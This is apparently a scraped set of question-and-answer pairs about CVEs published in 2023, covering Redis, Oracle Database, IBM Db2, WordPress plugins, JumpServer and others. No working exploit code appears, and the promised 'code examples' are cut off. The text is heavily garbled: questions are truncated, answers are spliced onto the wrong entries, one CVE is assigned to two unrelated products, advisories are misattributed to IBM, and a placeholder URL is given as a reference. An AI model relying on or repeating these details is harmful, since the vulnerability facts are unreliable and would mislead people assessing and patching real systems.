What are t ydb-go-sdk versions from v3.48.6 to v3.53.2 are affected by the vulnerability CVE-2023-458

What is the The recommended solution to fix CVE-2023-45825 is to upgrade to ydb-go-sdk version v3.5

If upgrading is not possible to fix CVE-2023-45825, users should implement the `fmt.String` Can you pr Certainly, a code example of how the vulnerability CVE-2023-45825 might manifest is wher What possi Possible attack scenarios associated with CVE-2023-45825 include a scenario where a mali What is CV CVE-2023-45820 refers to a vulnerability in Directus, a real-time API and App dashboard de How can C' CVE-2023-45820 can be exploited by a malicious user who sends an invalid frame to the w Which vers CVE-2023-45820 affects versions of Directus prior to 10.6.2 that have websockets enabled. What are t To mitigate CVE-2023-45820, it is recommended that users upgrade to Directus version 10 Where can More information about CVE-2023-45820, including patches, can be found in the security a When was CVE-2023-45820 was published on 19 October 2023.

Could you | An example scenario of an attack exploiting CVE-2023-45820 could involve a malicious act What is CV CVE-2023-5204 is a security vulnerability found in the ChatBot plugin for WordPress, speci How can C' CVE-2023-5204 can be exploited by creating a specially crafted HTTP request that includes What versi Versions up to and including 4.8.9 of the ChatBot plugin for WordPress are affected by CVE Has CVE-202 As of the information provided, CVE-2023-5204 has not been assigned a CVSS Base Score. When was CVE-2023-5204 was published on 19 October 2023.

Where can More information about CVE-2023-5204 can be found through several sources including a What are t To remediate CVE-2023-5204, users of the ChatBot plugin for WordPress should update th Can you pr While specific details about the vulnerable code are not provided, an example of a SQL inj What type: Exploiting CVE-2023-5204 could potentially give attackers access to a wide range of inform What are t Possible attack scenarios for CVE-2023-5204 include unauthorized data extraction where a What is CV CVE-2023-5336 is a security vulnerability identified in the iPanorama 360 – WordPress Virt How does iCVE-2023-5336 affects WordPress websites by allowing authenticated attackers with at lea What are p Possible attack scenarios for the CVE-2023-5336 vulnerability include an authenticated att What step: To mitigate CVE-2023-5336, website administrators should immediately update the iPanor Where can More information about CVE-2023-5336 can be found on the official WordPress plugin repo What is t The impact of CVE-2023-5336 on a WordPress site's confidentiality is high as it allows an ai What is CV CVE-2023-45145 is related to Redis, an in-memory database that persists on disk. It addres What versi CVE-2023-45145 affects versions of Redis since 2.6.0-RC1 up to and excluding the patched What are t To mitigate CVE-2023-45145, users should upgrade to patched Redis versions 7.2.2, 7.0.14 How was C CVE-2023-45145 was addressed in Redis through patches in versions 7.2.2, 7.0.14, and 6.2. What kind CVE-2023-45145 poses a security threat by creating a race condition on startup, during wh Can you gi An attacker could exploit CVE-2023-45145 by monitoring for the Redis server process resta On what d CVE-2023-45145 was publicly disclosed on 18 October 2023.

Where can More information about CVE-2023-45145 is available through various advisories and refer What is CV CVE-2023-22096 refers to a security vulnerability in the Java VM component of the Oracle Which Ora Oracle Database Server versions 19.3-19.20 and 21.3-21.11 are affected by CVE-2023-2209 How can C' CVE-2023-22096 can be exploited by a low privileged attacker who has the Create Session What is t The CVE-2023-22096 has an impact on data integrity, as it could allow an attacker to execute u What is t The specific CVSS Base Score for CVE-2023-22096 is not provided; however, the descriptor What is t The CVSS Vector for CVE-2023-22096 is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, in Where can You can find more information about CVE-2023-22096 in the Oracle Security Alert at https: When was CVE-2023-22096 was published on 17 October 2023.

Can you pr An example attack scenario for CVE-2023-22096 could involve an attacker who has already What is CV CVE-2023-22077 is a security vulnerability identified in the Oracle Database Recovery Man

What are the impacts of CVE-2023-22077? The Oracle Database Recovery Manager component in Oracle Database can be exploited by an attacker with a high level of privileges, specifically Create Session and Create Table. The CVSS 3.1 Base Score for CVE-2023-22077 is 4.9, with the main impact being on the availability of data. The CVSS Vector for CVE-2023-22077 is CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H.

When was CVE-2023-22077 published?

Where can Additional information about CVE-2023-22077 be found on Oracle's official security alert page?

What type of attack is most likely to exploit CVE-2023-22077? An attacker who is most likely to exploit CVE-2023-22077 would have high privileges on the Oracle Database.

What kind of impact does CVE-2023-22077 have on an Oracle Database? The impact of CVE-2023-22077 on an Oracle Database is an unauthorized ability to cause a denial of service.

Can CVE-2023-22077 be exploited remotely? Yes, CVE-2023-22077 can be exploited remotely due to the vulnerability being accessible over the network.

What is CVE-2023-22075? CVE-2023-22075 is a security vulnerability identified in the Oracle Database Sharding component.

Which Oracle Database Server versions are impacted by CVE-2023-22075? The Oracle Database Server versions impacted by CVE-2023-22075 are 19.3-19.20 and 21.1-21.2.

What privileges are required to exploit CVE-2023-22075? To exploit CVE-2023-22075, an attacker needs to have high privileges, specifically Create Session.

What kind of attack is required to exploit CVE-2023-22075? A successful attack on CVE-2023-22075 requires human interaction from someone other than the attacker.

What are the impacts of CVE-2023-22075? An attack exploiting CVE-2023-22075 could result in an unauthorized party gaining the ability to access sensitive data.

When was CVE-2023-22075 published?

Where can More information on CVE-2023-22075 be found in the Oracle Security Alert at the following link?

Can you provide a brief description of CVE-2023-22075? As CVE-2023-22075 is a security vulnerability rather than a programming bug, providing a detailed description is beyond the scope of this question.

How could an attacker with the required high-level privileges potentially exploit CVE-2023-22075?

What is the CVE ID for the vulnerability in Oracle Database Sharding component?

What is the Oracle Database Server versions affected by CVE-2023-22074?

What kind of vulnerability is CVE-2023-22074? CVE-2023-22074 is a vulnerability that allows a high privileged attacker with Create Session privilege to gain unauthorized access to data.

What is the attack scenario for CVE-2023-22074? A successful exploitation of CVE-2023-22074 requires human interaction from a person other than the attacker.

What potential impact does CVE-2023-22074 have? By exploiting CVE-2023-22074, an attacker could gain the unauthorized ability to cause a denial of service.

What is the CVSS base score for CVE-2023-22074? The CVSS base score for CVE-2023-22074 is not mentioned in the provided information; however, it is considered a high-severity vulnerability.

When was CVE-2023-22074 published?

Where can Additional details regarding CVE-2023-22074 be found in the references provided, including the Oracle Security Alert?

Can you describe a possible attack scenario for CVE-2023-22074? A possible attack scenario for CVE-2023-22074 involves an attacker who already has high-level privileges on the Oracle Database.

Is the exploit for CVE-2023-22074 easily exploitable? Yes, CVE-2023-22074 is considered an easily exploitable vulnerability assuming the attacker has the required privileges.

What is the CVE ID for the vulnerability in the Oracle Notification Server component?

What are the versions affected by CVE-2023-22073?

How can CVE-2023-22073 be exploited by an unauthenticated attacker who has access to the physical server?

What access does an attacker gain by exploiting CVE-2023-22073? Successfully exploiting CVE-2023-22073 can result in unauthorized read access to a subset of data.

What is the description of CVE-2023-22073? Although specifically mentioned as 'N/A' in the provided information, the description suggests a vulnerability in the Oracle Notification Server component.

What is the CVSS Vector for CVE-2023-22073?

When was CVE-2023-22073 published?

Where can More information about CVE-2023-22073 be found at the Oracle security alert page: https://www.oracle.com/security-alerts/oracle-security-advisories.html

Can you describe a possible attack scenario for CVE-2023-22073? A possible attack scenario for CVE-2023-22073 would involve an attacker gaining physical access to the Oracle Database server.

What is the CVE ID of the vulnerability?

What are the affected versions of Oracle Database Server by CVE-2023-22071?

What kind of attack is required to exploit CVE-2023-22071? An attacker would need high privileges, specifically the ability to create a session and execute commands.

Does the exploit for CVE-2023-22071 require human interaction? Yes, the exploitation of CVE-2023-22071 requires human interaction from a person other than the attacker.

What type of attacks are possible with CVE-2023-22071? Successful attacks of CVE-2023-22071 can result in unauthorized update, insert or delete a row in a database table.

What is the CVSS 3.1 Base Score for CVE-2023-22071? The CVSS 3.1 Base Score for CVE-2023-22071 is 5.9, indicating a medium severity level due to the potential impact.

What is the CVSS Vector string for CVE-2023-22071 is CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L//
When was CVE-2023-22071 was published on 17 October 2023.

Are there any more details about CVE-2023-22071 can be found in the Oracle security alert at <https://www.oracle.com/security-alerts/cpu-oct-2023.html>.

Can you describe a possible attack scenario for CVE-2023-22071 could involve a high-privileged attacker exploiting a vulnerability in Nocodb.

What is CVE-2023-43794 refers to a security flaw in Nocodb, which is an open source alternative to MySQL.

How does it work? The SQL injection vulnerability in CVE-2023-43794 works by an attacker supplying a special payload to the database.

Can you provide more details? For security reasons, it's not appropriate to provide an actual exploitable payload. However, we can describe the potential impact.

What version of Nocodb is affected? CVE-2023-43794 affects versions of Nocodb prior to version 0.111.0. Users with these versions are at risk.

How can users mitigate the security risk posed by CVE-2023-43794 by upgrading their version of Nocodb.

What are the potential attack scenarios for CVE-2023-43794 include an authenticated attacker with the ability to execute arbitrary SQL queries.

Where can users find more information about CVE-2023-43794 in the security advisory provided by IBM?

What is the CVE ID for the vulnerability found in IBM Db2 11.5 is CVE-2023-38719.

What type of vulnerability is CVE-2023-38719 is a denial of service (DoS) vulnerability that occurs during database deactivation.

Which IBM product is affected by CVE-2023-38719 is IBM Db2 version 11.5.

Has the CVSS base score assigned to CVE-2023-38719 been assigned to CVE-2023-38719?

When was CVE-2023-38719 was published on 17 October 2023.

Where can users find more information about CVE-2023-38719 can be found on the following websites: the IBM X-Force ID and the CVSS base score.

Can you provide a potential attack scenario for CVE-2023-38719 involves a malicious local user who has gained administrative privileges.

Is it necessary to exploit CVE-2023-38719, the attacker must be a local user who has special privilege.

What is the X-Force ID associated with CVE-2023-38719 is 261607.

Can you provide a code example to exploit a vulnerability like CVE-2023-38719 is not ethical or responsible.

What is the CVE ID associated with the vulnerability found in IBM Db2 is CVE-2023-30987.

Which versions of IBM Db2 are affected by CVE-2023-30987 are versions 10.5, 11.1, and 11.5.

What type of vulnerability is CVE-2023-30987 identifies a vulnerability that could lead to denial of service (DoS).

How can it be exploited? CVE-2023-30987 can be exploited by an attacker using a specially crafted query on certain tables.

Where can users find more information about CVE-2023-30987 can be found at the following references:- <https://www.ibm.com/support/pages/cve-2023-30987>.

Has IBM assigned the X-Force ID 253440 to CVE-2023-30987.

What is the published date for CVE-2023-30987 is 16 October 2023.

Given the provided information, a possible attack scenario for CVE-2023-30987 would involve an attacker crafting a malicious query to exploit the vulnerability.

What action should administrators of affected IBM Db2 systems take? Administrators should refer to IBM's support pages and advisories for guidance.

What is the CVSS base score assigned to CVE-2023-45674 refers to a security vulnerability identified in the Farmbot-Web-App, which is an open-source project.

How serious is the vulnerability? The seriousness of the SQL injection vulnerability in FarmBot's web app cannot be directly quantified.

What kind of attack can be performed? Due to CVE-2023-45674, an authenticated attacker could carry out an SQL injection attack.

Can you provide more details? While the exact details of the vulnerability in CVE-2023-45674 are not provided, a general overview is available in the advisory.

What is the recommended solution? The recommended solution to mitigate CVE-2023-45674 is to upgrade the Farmbot-Web-App to a fixed version.

Are there any known workarounds? There are no known workarounds for CVE-2023-45674. The only advised and effective solution is to upgrade to a fixed version.

Where can users find more information about CVE-2023-45674 can be found in the security advisory published by IBM.

What is the published date for CVE-2023-45674 was published on 14 October 2023, indicating when the vulnerability was first reported.

What is the CVSS base score assigned to CVE-2023-41262 refers to a security issue that was identified in Plixer Scrutinizer prior to version 1.1.0.

How severe is the vulnerability? The provided information does not include a Base Score for CVE-2023-41262, which means it is not yet fully understood.

What is the vulnerable endpoint? The vulnerable endpoint in Plixer Scrutinizer affected by CVE-2023-41262 is the csvExport API endpoint.

What kind of attack can be performed? The SQL injection vulnerability described in CVE-2023-41262 could allow an attacker to perform various attacks on the system.

Has the vulnerability been addressed? Yes, the vulnerability detailed in CVE-2023-41262 has been addressed in Plixer Scrutinizer version 1.1.0.

Where can users find additional information about CVE-2023-41262 can be found in the advisory published at the following link: <https://www.plixer.com/scrutinizer/advisory/cve-2023-41262>.

What is the From a technical standpoint, the SQL injection vulnerability associated with CVE-2023-41262 refers to a security vulnerability identified in the Election Services Co. (ESC) Internal ReportPortal platform.

When was CVE-2023-41262 published on 12 October 2023.

What is CVE-2023-4309 refers to a vulnerability identified in the Election Services Co. (ESC) Internal ReportPortal platform.

When was CVE-2023-4309 published on 10 October 2023.

What means To mitigate the CVE-2023-4309 vulnerability, ESC has deactivated older and unused electric

What type The CVE-2023-4309 vulnerability enables SQL injection attacks. This means that an attacker could exploit it to gain unauthorized access to data.

How can I find more information about the specifics of CVE-2023-4309 can be found in the references provided

Can you provide a code example? Certainly, a hypothetical code example of SQL injection leveraging CVE-2023-4309 might look like this:

What could happen An attacker exploiting the SQL injection vulnerability described in CVE-2023-4309 could potentially gain unauthorized access to sensitive data.

What is CVE-2023-41964 refers to a security vulnerability in BIG-IP and BIG-IQ systems where some

Which systems are affected by CVE-2023-41964 are BIG-IP and BIG-IQ systems. These are produc

Has a base score As of the provided information, a base score has not been assigned to CVE-2023-41964. Th

When was CVE-2023-41964 published on 10 October 2023.

How can I find more details? More details about CVE-2023-41964 can be found by visiting the reference link provided, which is a link to the NIST database.

Are software versions affected? No, software versions that have reached End of Technical Support (EoTS) are not evaluated.

Can you provide attack scenarios? Possible attack scenarios for CVE-2023-41964 involve an attacker gaining access to database systems.

What is CVE-2023-25822 refers to a vulnerability in the ReportPortal platform, which is an AI-powered

Which module is affected by CVE-2023-25822 is 'com.epam.reportportal:service-api' and version

How does it work? CVE-2023-25822 causes the ReportPortal database to become unstable and results in a ne

What is the impact? When the allowable 'ltree' field type indexing limit is exceeded in ReportPortal, as describ

How was it mitigated? CVE-2023-25822 was mitigated in the 'com.epam.reportportal:service-api' module version

Is there a workaround? Yes, there is a workaround for CVE-2023-25822. The workaround involves deleting the dat

What are the lessons learned? Given that CVE-2023-25822 primarily causes database instability rather than a direct secur

On which platforms was it discovered? CVE-2023-25822 was published on 09 October 2023.

Where can I find more information? More information about CVE-2023-25822 can be found in the security advisory and release notes.

What is CVE-2023-2306 is a security vulnerability in Qognify NiceVision versions 3.1 and prior that

How severe is it? As of the provided information, the Base Score for CVE-2023-2306 has not been assigned, which

What version does it affect? CVE-2023-2306 affects Qognify NiceVision versions 3.1 and earlier. It is recommended for

What kind of attack can it perform? By exploiting CVE-2023-2306, an attacker could potentially access information about the camera settings.

Where can I find more information? More information about CVE-2023-2306 can be found in the advisory published by the Cybersecurity Agency of the Czech Republic.

Could you provide an example? A possible attack scenario for CVE-2023-2306 could involve an attacker discovering the hardware configuration of a camera.

What actions should users take? Users and administrators of affected Qognify NiceVision versions should immediately check for updates and apply them.

When was it discovered? CVE-2023-2306 was published on 05 October 2023.

What is CVE-2022-36276 is a security vulnerability identifier for an issue found in TCMAN GIM v8.0.

How can it be exploited? CVE-2022-36276 can be exploited by a remote attacker by injecting malicious SQL commands.

Is there a base score? No, as of the published information, there is no Base Score provided for CVE-2022-36276.

When was it discovered? CVE-2022-36276 was published on 04 October 2023.

Where can I find more information? More information about CVE-2022-36276 can be found at the INCIBE-CERT website, under the 'Vulnerabilities' section.

Can you provide an example? Certainly, an example of a SQL injection that might exploit CVE-2022-36276 could look like

What might happen? A potential attack scenario for CVE-2022-36276 would involve a remote attacker crafting a query that retrieves sensitive data from the database.

What is CVE-2023-4037 refers to a security vulnerability of type 'Blind SQL injection' in the Conacw

How severe is it? The Base Score for CVE-2023-4037 has not been provided ('N/A'). However, SQL injection vulnerabilities can be exploited to gain unauthorized access to data.

When was it discovered? CVE-2023-4037 was published on 04 October 2023.

What could happen? By exploiting CVE-2023-4037, a local attacker could potentially obtain sensitive data from the system.

Where can More information about CVE-2023-4037 can be found at the following reference URL: <http://www.cve.org/cve/CVE-2023-4037.html>
What might A Blind SQL injection query for CVE-2023-4037 could involve a series of true or false questions.
Could you In a potential attack scenario for CVE-2023-4037, an attacker with local access to the Conair device could exploit it.
What is CV CVE-2023-2809 is a security vulnerability found in Sage 200 Spain 2023.38.001 version. It is a SQL Injection vulnerability.
How could An attacker could exploit CVE-2023-2809 by remotely accessing the vulnerable DLL application.
Was a base No, a base score was not provided for CVE-2023-2809 at the time of its publication.

When was CVE-2023-2809 was published on 04 October 2023.

Where can More information about CVE-2023-2809 can be found on the INCIBE-CERT website at the following reference URL: <https://www.incibe-cert.es/en/cve/CVE-2023-2809.html>
Can you pr An attacker could identify a network where the vulnerable version of Sage 200 Spain is installed.
What are t The potential impacts of CVE-2023-2809 include unauthorized access to SQL databases, data theft, and denial of service.
What is the The CVE ID of the vulnerability is CVE-2023-25980.

Which plug-in The Optimize Database after Deleting Revisions plugin by CAGE Web Design | Rolf van Geloven
Can you de The nature of the CVE-2023-25980 vulnerability is a Cross-Site Request Forgery (CSRF) vulnerability.
What versi Versions of the Optimize Database after Deleting Revisions plugin up to and including 5.1 are affected.
As of the vi No, as of the information provided for CVE-2023-25980, there is no base score assigned to it.
When was The CSRF vulnerability CVE-2023-25980 was published on 04 October 2023.

What is a p A possible attack scenario for CVE-2023-25980 would involve an attacker crafting a malicious CSRF request to trigger the vulnerability.
How can sc Further information about the CVE-2023-25980 vulnerability can be obtained by visiting the following reference URL: <https://www.incibe-cert.es/en/cve/CVE-2023-25980.html>
Can you pr Providing a specific code example for CVE-2023-25980 is not possible without access to the affected system.
What is CV CVE-2023-2681 refers to a security vulnerability that is an SQL Injection found in Jorani version 1.0.0.
How sever The base score for CVE-2023-2681 has not been provided; however, SQL Injection vulnerabilities are considered high severity.
When was CVE-2023-2681 was published on 03 October 2023.

What versi CVE-2023-2681 specifically impacts Jorani version 1.0.0.

What kind An authenticated remote user with low privileges could exploit the CVE-2023-2681 vulnerability.
Can you gi An example of an SQL Injection attack that could be carried out on the vulnerable "/leaves" endpoint.
What refer For more information on CVE-2023-2681, a reference from INCIBE-CERT is provided at the following URL: <https://www.incibe-cert.es/en/cve/CVE-2023-2681.html>
What are t Possible attack scenarios for CVE-2023-2681 include a low-privileged user extracting sensitive information from the database.
What is the The CVE ID of the vulnerability affecting cashIT! devices is CVE-2023-3655.

Which devi Devices from PoS/ Dienstleistung, Entwicklung & Vertrieb GmbH with versions up to 03.A0 are affected.
What kind CVE-2023-3655 describes a vulnerability that allows for the leakage of sensitive database information.
How can C' CVE-2023-3655 can be exploited by an attacker through an HTTP endpoint that is exposed to the internet.
When was CVE-2023-3655 was published on 03 October 2023.

Are there a Yes, more information about CVE-2023-3655 can be found at these references: 1. <https://www.cve.org/cve/CVE-2023-3655.html>
What pote Potential attack scenarios for CVE-2023-3655 include unauthorized access to the device's configuration files.
Is there a k No, there isn't a known base score provided for the severity of CVE-2023-3655 as it is marked as "not applicable".
What is CV CVE-2023-43836 refers to a security vulnerability identified in Jizhicms version 2.4.9. It is a SQL Injection vulnerability.
When was CVE-2023-43836 was published on 02 October 2023.

What type CVE-2023-43836 is a SQL injection vulnerability.

What syste The system affected by CVE-2023-43836 is Jizhicms, specifically version 2.4.9.

What can a By exploiting CVE-2023-43836, attackers can execute unauthorized SQL queries, which can lead to data theft or modification.
Are there a Yes, there are public references for CVE-2023-43836, including a Gist at https://gist.github.com/username/repo_id.

What versi CVE-2023-43836 specifically impacts Jizhicms version 2.4.9.

Can you pr An example attack exploiting CVE-2023-43836 might involve an attacker sending a specially crafted SQL query to the affected system.

What is CV CVE-2023-5263 is a critical security vulnerability found in ZZZCMS version 2.1.7. It affects the file upload functionality.

How can CVE-2023-5263 be exploited remotely by an attacker who manipulates the 'restore' function parameter? The component affected by CVE-2023-5263 is the Database Backup File Handler, specifically the process_login.php script. What are the possible attack scenarios for CVE-2023-5263? An attacker could potentially send malicious input to the 'restore' parameter, which would be processed by the Database Backup File Handler. When was CVE-2023-5263 published? CVE-2023-5263 was published on 29 September 2023.

Where can more information about CVE-2023-5263 be found? More information about CVE-2023-5263 can be found through various online sources including the National Vulnerability Database (NVD) and the Common Vulnerabilities and Exposures (CVE) website. What is CVE-2023-44168? CVE-2023-44168 refers to a security vulnerability where the 'phone' parameter in the process_login.php script is not properly validated. What kind of vulnerability is CVE-2023-44168? CVE-2023-44168 describes an input validation vulnerability, specifically referring to a lack of proper sanitization of user input. How could an attacker exploit CVE-2023-44168? An attacker could exploit CVE-2023-44168 by crafting malicious input for the 'phone' parameter, such as a SQL injection payload. What is the date CVE-2023-44168 was published? CVE-2023-44168 was published on 28 September 2023.

Can you provide further information on CVE-2023-44168? Yes, further information on CVE-2023-44168 can be found at the following URLs: <https://nvd.nist.gov/vuln/detail/CVE-2023-44168> and <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44168>. What is the Base Score for CVE-2023-44168? The Base Score for CVE-2023-44168 is not available (N/A) in the information provided.

What are the potential consequences of CVE-2023-44168? By exploiting CVE-2023-44168, an attacker could potentially carry out SQL injection attacks on the system. What is CVE-2023-44167? CVE-2023-44167 is a security vulnerability related to the 'name' parameter in the process_login.php script. When was CVE-2023-44167 published? CVE-2023-44167 was published on September 28, 2023.

What type of vulnerability is CVE-2023-44167? CVE-2023-44167 is related to improper input validation, where malicious characters can be inserted into the 'name' parameter. What is the base score for CVE-2023-44167? As per the provided information, the base score for CVE-2023-44167 is not available or has not been provided. Could you provide an example of an attack that could exploit CVE-2023-44167? An example of an attack that could exploit CVE-2023-44167 is an SQL injection attack. An attacker could insert malicious SQL code into the 'name' parameter to manipulate the database. Can you provide more information on CVE-2023-44167? Yes, more information on CVE-2023-44167 can be found at the following URLs: <https://nvd.nist.gov/vuln/detail/CVE-2023-44167> and <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44167>.

What steps should be taken to mitigate CVE-2023-44167? To mitigate CVE-2023-44167, developers should implement proper input validation and sanitize user input before processing it. What is CVE-2023-44166? CVE-2023-44166 refers to a security vulnerability where the 'age' parameter in the process_login.php script is not properly validated. When was CVE-2023-44166 published? CVE-2023-44166 was published on the 28th of September, 2023.

What type of vulnerability is CVE-2023-44166? CVE-2023-44166 is a type of input validation vulnerability, specifically dealing with improper validation of the 'age' parameter. Can you provide an example of an attack scenario for CVE-2023-44166? An attack scenario for CVE-2023-44166 could involve an attacker crafting a malicious input for the 'age' parameter to bypass age restrictions. Where can more information on CVE-2023-44166 be found? For more information on CVE-2023-44166, you can visit the references provided: <https://nvd.nist.gov/vuln/detail/CVE-2023-44166> and <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44166>.

What is the base score for CVE-2023-44166? As of the available information, the base score for CVE-2023-44166 is not provided, it is listed as 'N/A'.

How can CVE-2023-44166 be mitigated? To mitigate CVE-2023-44166, developers should implement proper input validation and sanitize user input.

What is CVE-2023-44165? CVE-2023-44165 refers to a security vulnerability where the 'Password' parameter in the process_login.php script is not properly validated.

When was CVE-2023-44165 published? CVE-2023-44165 was published on 28 September 2023.

What can be the consequence of CVE-2023-44165? The consequence of the vulnerability in CVE-2023-44165 could be that an attacker may be able to gain unauthorized access to the system.

Are there any public references available for CVE-2023-44165? Yes, there are public references available for CVE-2023-44165. Some of the references include:

What is an SQL injection attack? In the context of CVE-2023-44165, an SQL injection attack would involve an attacker inserting malicious SQL code into the 'Password' parameter to manipulate the database.

As a developer, how can CVE-2023-44165 be mitigated? To mitigate the security risk posed by CVE-2023-44165, a developer should implement proper input validation and sanitize user input.

Is there a known Base Score for CVE-2023-44165? As of the available information, there is no known Base Score provided for the CVE-2023-44165.

What is CVE-2023-44164? CVE-2023-44164 refers to a vulnerability where the 'Email' parameter of the process_login.php script is not properly validated.

On which date was CVE-2023-44164 published? CVE-2023-44164 was published on 28 September 2023.

What is the base score for CVE-2023-44164? The base score for CVE-2023-44164 has not been provided, as it is listed as 'N/A' (Not Available).

Which script is associated with CVE-2023-44164? The script associated with CVE-2023-44164 is 'process_login.php'.

What kind of vulnerability is CVE-2023-44164? CVE-2023-44164 describes a vulnerability that involves improper validation of input, specifically the 'Email' parameter.

Can you provide more information on CVE-2023-44164? Yes, more information on CVE-2023-44164 can be found at the following references: <https://nvd.nist.gov/vuln/detail/CVE-2023-44164> and <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44164>.

What is a potential exploit for CVE-2023-44164? An attacker could exploit CVE-2023-44164 by crafting a malicious input, such as an SQL query, to manipulate the database.

Can you provide an example of vulnerable PHP code that could be exploited by CVE-2023-44164? Certainly, here's an example of vulnerable PHP code that could be exploited by CVE-2023-44164:

What is CVE-2023-44163? CVE-2023-44163 is related to a vulnerability in the 'search' parameter handling within the process_login.php script.

When was CVE-2023-44163 published? CVE-2023-44163 was published on 28 September 2023.

Can you provide an example of how an attacker could exploit the vulnerability in CVE-2023-44163? An attacker could exploit the vulnerability in CVE-2023-44163 by injecting SQL commands into the 'search' parameter.

Are there ↗ Yes, more information on CVE-2023-44163 can be found on online resources such as https://...
What is the base score for CVE-2023-44163? The base score for CVE-2023-44163 is not available or has not been assigned yet.

What kind of security issue does CVE-2023-44163 address? CVE-2023-44163 addresses a security issue where the input validation is not properly handled.
How might one mitigate the issue described in CVE-2023-44163? To mitigate the issue described in CVE-2023-44163, a developer should implement proper input validation.
What is the CVSS score for CVE-2023-43739? CVE-2023-43739 is a security vulnerability that pertains to a flaw in the 'bookisbn' parameter.
When was CVE-2023-43739 published? CVE-2023-43739 was published on 28 September 2023.

What type of vulnerability is CVE-2023-43739? CVE-2023-43739 reports a vulnerability that could be exploited through SQL injection due to a lack of proper input validation.
What is the base score for CVE-2023-43739? The base score for CVE-2023-43739 has not been provided in the information given. To determine the base score, refer to the official NIST CSDB entry for CVE-2023-43739.
Can you provide additional information on CVE-2023-43739? Additional information on CVE-2023-43739 can be found at the following URLs: https://...
What could an attacker do if they exploit CVE-2023-43739? A possible attack scenario for CVE-2023-43739 would entail an attacker crafting a specially crafted SQL query to extract sensitive data from the database.
Could you provide a simplified code example? Certainly. A simplified code example might be as follows, demonstrating the lack of validation of user input:
What is the CVE identifier for the vulnerability found in Asset Management System v1.0? The CVE identifier for the vulnerability found in Asset Management System v1.0 is CVE-2023-43014.
What type of vulnerability is CVE-2023-43014? According to CVE-2023-43014, Asset Management System v1.0 is vulnerable to an authentication bypass vulnerability.
When was CVE-2023-43014 published? CVE-2023-43014 was published on 28 September 2023.

Are there any references providing details about CVE-2023-43014? Yes, there are references providing details about CVE-2023-43014, including a security advisory and a blog post.

What is the base score for CVE-2023-43014? The base score for CVE-2023-43014 has not been provided or is not applicable (N/A).
Can you provide an example of an exploit for CVE-2023-43014? Certainly, a SQL Injection exploit for CVE-2023-43014 could look like this: ``php// user.php\$firstNam...
What could happen if an attacker exploits CVE-2023-43014? By exploiting the SQL Injection vulnerability described in CVE-2023-43014, an attacker could gain unauthorized access to the system.
What is the CVSS score for CVE-2023-43013? CVE-2023-43013 refers to a security vulnerability identified in Asset Management System v1.0.
How does CVE-2023-43013 affect the Asset Management System? CVE-2023-43013 affects the Asset Management System by allowing an attacker to inject malicious SQL code into the system.
Can you provide more details about CVE-2023-43013? Certainly, while the exact code of the Asset Management System is not provided, a general exploit for this vulnerability is as follows:

What kind of vulnerability is CVE-2023-43013? The unauthenticated SQL injection vulnerability represented by CVE-2023-43013 could enable an attacker to execute arbitrary SQL queries on the system.
Where can I find additional information about CVE-2023-43013? Additional information about CVE-2023-43013 can be found through the references provided in the official NIST CSDB entry.
When was CVE-2023-43013 published? CVE-2023-43013 was published on 28 September 2023, indicating that this was the date it was first reported.

What is the CVE ID for the vulnerability discovered in SpringbootCMS 1.0? The CVE ID for the vulnerability discovered in SpringbootCMS 1.0 is CVE-2023-43191.
What type of vulnerability is CVE-2023-43191? CVE-2023-43191 describes a security issue in SpringbootCMS 1.0 where malicious code can be injected into the system.

Has the CVSS score for CVE-2023-43191 been assigned? As of the available information, CVE-2023-43191 has not been assigned a Base Score yet.

When was CVE-2023-43191 published? CVE-2023-43191 was published on 27 September 2023.

Where can I find more details regarding CVE-2023-43191? More details regarding CVE-2023-43191 can be found at https://github.com/etn0tw/cmsc...
Can you provide an example of an exploit for CVE-2023-43191? Sure, a hypothetical example of code that might be exploited due to CVE-2023-43191 could be as follows:

What is a possible attack scenario for CVE-2023-43191? A possible attack scenario for CVE-2023-43191 might involve an attacker posting a comment to a forum or blog post that contains malicious code.
What is the CVSS score for CVE-2023-43651? CVE-2023-43651 refers to a security vulnerability in JumpServer, an open source bastion host.
How does CVE-2023-43651 affect the system? The vulnerability in JumpServer, tracked as CVE-2023-43651, works by allowing an authenticated user to execute arbitrary commands on the system.
Has the vulnerability been addressed in a recent release? Yes, the vulnerability CVE-2023-43651 has been addressed in JumpServer with the release of version 4.0.0.

What are the potential consequences of exploiting CVE-2023-43651? Exploiting CVE-2023-43651 can lead to remote code execution on the system where JumpServer is deployed.

Are there any known workarounds for CVE-2023-43651? There are no known workarounds for the vulnerability CVE-2023-43651. The recommended course of action is to upgrade to a patched version of JumpServer.

On what date was CVE-2023-43651 published? CVE-2023-43651 was published on 27 September 2023.

Where can I find more information and the official advisory for CVE-2023-43651? You can find more information and the official advisory for CVE-2023-43651 on the GitHub repository for JumpServer.

Can you give me an example of an attack scenario for CVE-2023-43651? In an attack scenario for CVE-2023-43651, an attacker who has authenticated access to Jun...

What is the relationship between CVE-2023-43651 and CVE-2023-20034? CVE-2023-43651 is related to a vulnerability in the Elasticsearch database used in Cisco SD-WAN.

What could an attacker do if they exploit CVE-2023-43651? By exploiting CVE-2023-43651, an attacker could gain access to the Elasticsearch configuration files.

How can CVE-2023-43651 be exploited? CVE-2023-43651 can be exploited by an unauthenticated, remote attacker through a crafted Elasticsearch query.

What is the cause of the vulnerability CVE-2023-43651? The vulnerability CVE-2023-43651 is caused by the presence of a static username and password in the Elasticsearch configuration files.

Are there any workarounds for CVE-2023-43651? Yes, there are workarounds that address the vulnerability CVE-2023-43651, as mentioned in the official advisory.

Where can More details about CVE-2023-20034 can be found in the Cisco Security Advisory, which is a
What kind No authentication is required to exploit CVE-2023-20034, as the vulnerability can be leveraged
Describe A possible attack scenario for CVE-2023-20034 would involve an attacker discovering a rea
What is CV CVE-2023-43610 refers to a security vulnerability identified in Welcart e-Commerce versio
What type CVE-2023-43610 is an SQL injection vulnerability.

Which vers Welcart e-Commerce versions from 2.7 up to and including 2.8.21 are affected by CVE-2023-43610.
What is the The Base Score for CVE-2023-43610 has not been provided, so the severity level is not available.
When was CVE-2023-43610 was published on 27 September 2023.

